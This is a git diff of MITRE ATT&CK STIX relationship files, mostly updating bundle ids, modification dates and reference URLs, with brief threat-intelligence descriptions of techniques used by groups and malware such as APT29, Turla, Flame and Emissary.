--- a/enterprise-attack/relationship/relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757.json
+++ b/enterprise-attack/relationship/relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bd0dd3ad-84de-4689-8d44-440259c134ae",
+    "id": "bundle--e2c4304e-a4d5-4c9c-a7af-42cbbac4c332",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
diff --git a/enterprise-attack/relationship/relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d.json b/enterprise-attack/relationship/relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d.json
index e4f41e38e3..d3bc1c9dfb 100644
--- a/enterprise-attack/relationship/relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d.json
+++ b/enterprise-attack/relationship/relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ce2d2a0-9b25-4d7f-8d34-565e0cebee3c",
+    "id": "bundle--3645010c-6e1a-4924-83bf-196c426a759d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751",
             "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
diff --git a/enterprise-attack/relationship/relationship--49f2c182-bd69-4874-9102-b5fd1acac59c.json b/enterprise-attack/relationship/relationship--49f2c182-bd69-4874-9102-b5fd1acac59c.json
index c7fe06a1d2..8fe38ce071 100644
--- a/enterprise-attack/relationship/relationship--49f2c182-bd69-4874-9102-b5fd1acac59c.json
+++ b/enterprise-attack/relationship/relationship--49f2c182-bd69-4874-9102-b5fd1acac59c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--534d580d-a7d7-46cc-8b20-e8e9e5f3aa68",
+    "id": "bundle--4987280d-776c-4373-b242-180d8f188352",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--49f2c182-bd69-4874-9102-b5fd1acac59c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e.json b/enterprise-attack/relationship/relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e.json
index 67bfefea51..7213ce73ff 100644
--- a/enterprise-attack/relationship/relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e.json
+++ b/enterprise-attack/relationship/relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6fbab08-58a6-4a02-b9b5-750c6d018ebd",
+    "id": "bundle--df5beb70-7cd8-41f8-9002-e09ca910e3c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used named and hijacked scheduled tasks to establish persistence.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d.json b/enterprise-attack/relationship/relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d.json
index b637d926c7..b4118a7117 100644
--- a/enterprise-attack/relationship/relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d.json
+++ b/enterprise-attack/relationship/relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4c7dbbbe-e67a-481a-9467-fe16e7d1b033",
+    "id": "bundle--e5d3150b-b863-4a1e-8ef5-1c4432b67432",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
diff --git a/enterprise-attack/relationship/relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63.json b/enterprise-attack/relationship/relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63.json
index 10d7477179..5fea7eed03 100644
--- a/enterprise-attack/relationship/relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63.json
+++ b/enterprise-attack/relationship/relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a8ae78c2-7d9f-4b60-a86a-c69e1ba5099d",
+    "id": "bundle--ea4d5286-15e9-4e6b-9d01-e19d651beae4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 kills and disables services by using cmd.exe.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2.json b/enterprise-attack/relationship/relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2.json
index 3b2e6482b0..544e7fe0fb 100644
--- a/enterprise-attack/relationship/relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2.json
+++ b/enterprise-attack/relationship/relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6be4c7c3-0d6c-44aa-b9c7-13eea7c0f216",
+    "id": "bundle--b12184b6-4d5f-4a83-873f-8870fccb3dfb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT communicates with its C2 server over HTTP.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe.json b/enterprise-attack/relationship/relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe.json
index 5ac7fadd19..e78fbd4b21 100644
--- a/enterprise-attack/relationship/relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe.json
+++ b/enterprise-attack/relationship/relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--36eef917-94cb-4609-8761-3a066193032f",
+    "id": "bundle--66a8d85f-2983-48ee-8b46-cee2f742af06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla uses <code>net use</code> commands to connect to lateral systems within a network.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60.json b/enterprise-attack/relationship/relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60.json
index 4244d3a909..a9228d0d6d 100644
--- a/enterprise-attack/relationship/relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60.json
+++ b/enterprise-attack/relationship/relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--916e4a09-960a-4164-8aa0-3b2cb47fcb86",
+    "id": "bundle--ec179639-b2ed-4b67-bca8-6e00092c8ba1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
diff --git a/enterprise-attack/relationship/relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc.json b/enterprise-attack/relationship/relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc.json
index 3383f8eda8..202b169ce9 100644
--- a/enterprise-attack/relationship/relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc.json
+++ b/enterprise-attack/relationship/relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--982080d1-af6a-4460-a025-3e124df88d85",
+    "id": "bundle--8e0d8f0f-0edc-41b6-94d5-9e24c07abe77",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS instead if the DES decoding fails.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
diff --git a/enterprise-attack/relationship/relationship--4a959425-4d43-4969-9a47-768894a3afaa.json b/enterprise-attack/relationship/relationship--4a959425-4d43-4969-9a47-768894a3afaa.json
index 361e6cdd4d..f3c64a6819 100644
--- a/enterprise-attack/relationship/relationship--4a959425-4d43-4969-9a47-768894a3afaa.json
+++ b/enterprise-attack/relationship/relationship--4a959425-4d43-4969-9a47-768894a3afaa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--83fd4af7-e07f-4655-a1c1-3519abf1f493",
+    "id": "bundle--d5459939-cda2-40a2-8d39-ea5c52af4714",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a959425-4d43-4969-9a47-768894a3afaa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute ver, systeminfo, and gpresult commands.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868.json b/enterprise-attack/relationship/relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868.json
index 0bca8da455..fc01581568 100644
--- a/enterprise-attack/relationship/relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868.json
+++ b/enterprise-attack/relationship/relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8382d4b4-aded-4baf-b1e8-3bc1244bbb06",
+    "id": "bundle--cba16282-2516-4df2-b72d-72590a6d206a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame identifies security software such as antivirus through the Security module.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -17,12 +17,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966.json b/enterprise-attack/relationship/relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966.json
index 3585e61fcc..1eaadc1dfe 100644
--- a/enterprise-attack/relationship/relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966.json
+++ b/enterprise-attack/relationship/relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb5f3616-3dc3-4a26-94ce-0cce4a8f48c4",
+    "id": "bundle--28025f78-c1c9-40c1-a676-cc2005de4d5d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
diff --git a/enterprise-attack/relationship/relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8.json b/enterprise-attack/relationship/relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8.json
new file mode 100644
index 0000000000..52f088d6b1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e5b7bbf7-b7ca-4e4a-a072-b7c3b4f54855",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses custom base64 encoding to obfuscate HTTP traffic.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a.json b/enterprise-attack/relationship/relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a.json
index 5592f26d1e..527f22fc34 100644
--- a/enterprise-attack/relationship/relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a.json
+++ b/enterprise-attack/relationship/relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9314db16-591a-484a-be75-ffc2f00fc7c4",
+    "id": "bundle--4b878044-3ef0-440d-aa91-31870a031bcd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--4aecd118-a823-4859-9245-90155a0bbe11.json b/enterprise-attack/relationship/relationship--4aecd118-a823-4859-9245-90155a0bbe11.json
index 85c9aec549..483c494876 100644
--- a/enterprise-attack/relationship/relationship--4aecd118-a823-4859-9245-90155a0bbe11.json
+++ b/enterprise-attack/relationship/relationship--4aecd118-a823-4859-9245-90155a0bbe11.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--099dbd8a-e53d-45f9-96d0-71f56834a3b3",
+    "id": "bundle--42ff44d0-7bbd-4e4e-8a36-a04f1a781b61",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4aecd118-a823-4859-9245-90155a0bbe11",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739",
             "target_ref": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
diff --git a/enterprise-attack/relationship/relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8.json b/enterprise-attack/relationship/relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8.json
index 0579b0ad35..434f84bcfd 100644
--- a/enterprise-attack/relationship/relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8.json
+++ b/enterprise-attack/relationship/relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--217e90c2-4044-40f0-a4f0-beb46c1a8f45",
+    "id": "bundle--1a44f814-d9e0-4297-96e4-99b9d68be4a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the registry run key location: <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe</code>",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--4afcb9c9-e490-446b-97b1-1c151974242f.json b/enterprise-attack/relationship/relationship--4afcb9c9-e490-446b-97b1-1c151974242f.json
index 8f1c27f642..711807590f 100644
--- a/enterprise-attack/relationship/relationship--4afcb9c9-e490-446b-97b1-1c151974242f.json
+++ b/enterprise-attack/relationship/relationship--4afcb9c9-e490-446b-97b1-1c151974242f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6b42e6ca-ad92-489c-97ee-b73929a5db50",
+    "id": "bundle--a5d3b01a-4dcd-4e26-bfc4-c76620ccad38",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4afcb9c9-e490-446b-97b1-1c151974242f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TINYTYPHON has used XOR with 0x90 to obfuscate its configuration file.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
diff --git a/enterprise-attack/relationship/relationship--4b12c645-96fc-45ac-b515-8333d6e254ef.json b/enterprise-attack/relationship/relationship--4b12c645-96fc-45ac-b515-8333d6e254ef.json
index 09e8fb3743..48ce0b3643 100644
--- a/enterprise-attack/relationship/relationship--4b12c645-96fc-45ac-b515-8333d6e254ef.json
+++ b/enterprise-attack/relationship/relationship--4b12c645-96fc-45ac-b515-8333d6e254ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3361d305-10f1-4e34-8fec-d8d5afe8a148",
+    "id": "bundle--25eee407-c494-4778-a15d-efc83f0009e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b12c645-96fc-45ac-b515-8333d6e254ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.017Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e",
             "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
diff --git a/enterprise-attack/relationship/relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a.json b/enterprise-attack/relationship/relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a.json
index 853f202670..08a3615876 100644
--- a/enterprise-attack/relationship/relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a.json
+++ b/enterprise-attack/relationship/relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c87376b-7553-40cc-9e02-62bc97e7daff",
+    "id": "bundle--75a8d950-8f81-449b-a3a7-0d5cb5797c8d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f.json b/enterprise-attack/relationship/relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f.json
index 10277ea30c..e059e56957 100644
--- a/enterprise-attack/relationship/relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f.json
+++ b/enterprise-attack/relationship/relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--415e924a-8f8c-49f9-b81a-23cd1d2dd07c",
+    "id": "bundle--d776e105-d17c-4fdf-9f95-3fb02f34745d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c.json b/enterprise-attack/relationship/relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c.json
index 99ada8ac20..818dd75e27 100644
--- a/enterprise-attack/relationship/relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c.json
+++ b/enterprise-attack/relationship/relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1925fb3a-3c31-4db3-bf08-46c7f36d1813",
+    "id": "bundle--3b742e13-1b23-4528-920b-cae930b09d80",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
diff --git a/enterprise-attack/relationship/relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a.json b/enterprise-attack/relationship/relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a.json
index b1f64eb14c..d23aded6f9 100644
--- a/enterprise-attack/relationship/relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a.json
+++ b/enterprise-attack/relationship/relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--da3f1b91-a753-46c0-8f73-a4327289dcfd",
+    "id": "bundle--131c8c2a-18e9-435e-b593-87e3d7f8d9a8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The C2 server response to a beacon sent by a variant of Emissary contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of Emissary use various XOR operations to encrypt C2 data.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--4b5bd2c6-b460-401d-8457-005add9037d9.json b/enterprise-attack/relationship/relationship--4b5bd2c6-b460-401d-8457-005add9037d9.json
index ff7a9f4e63..d30917f25e 100644
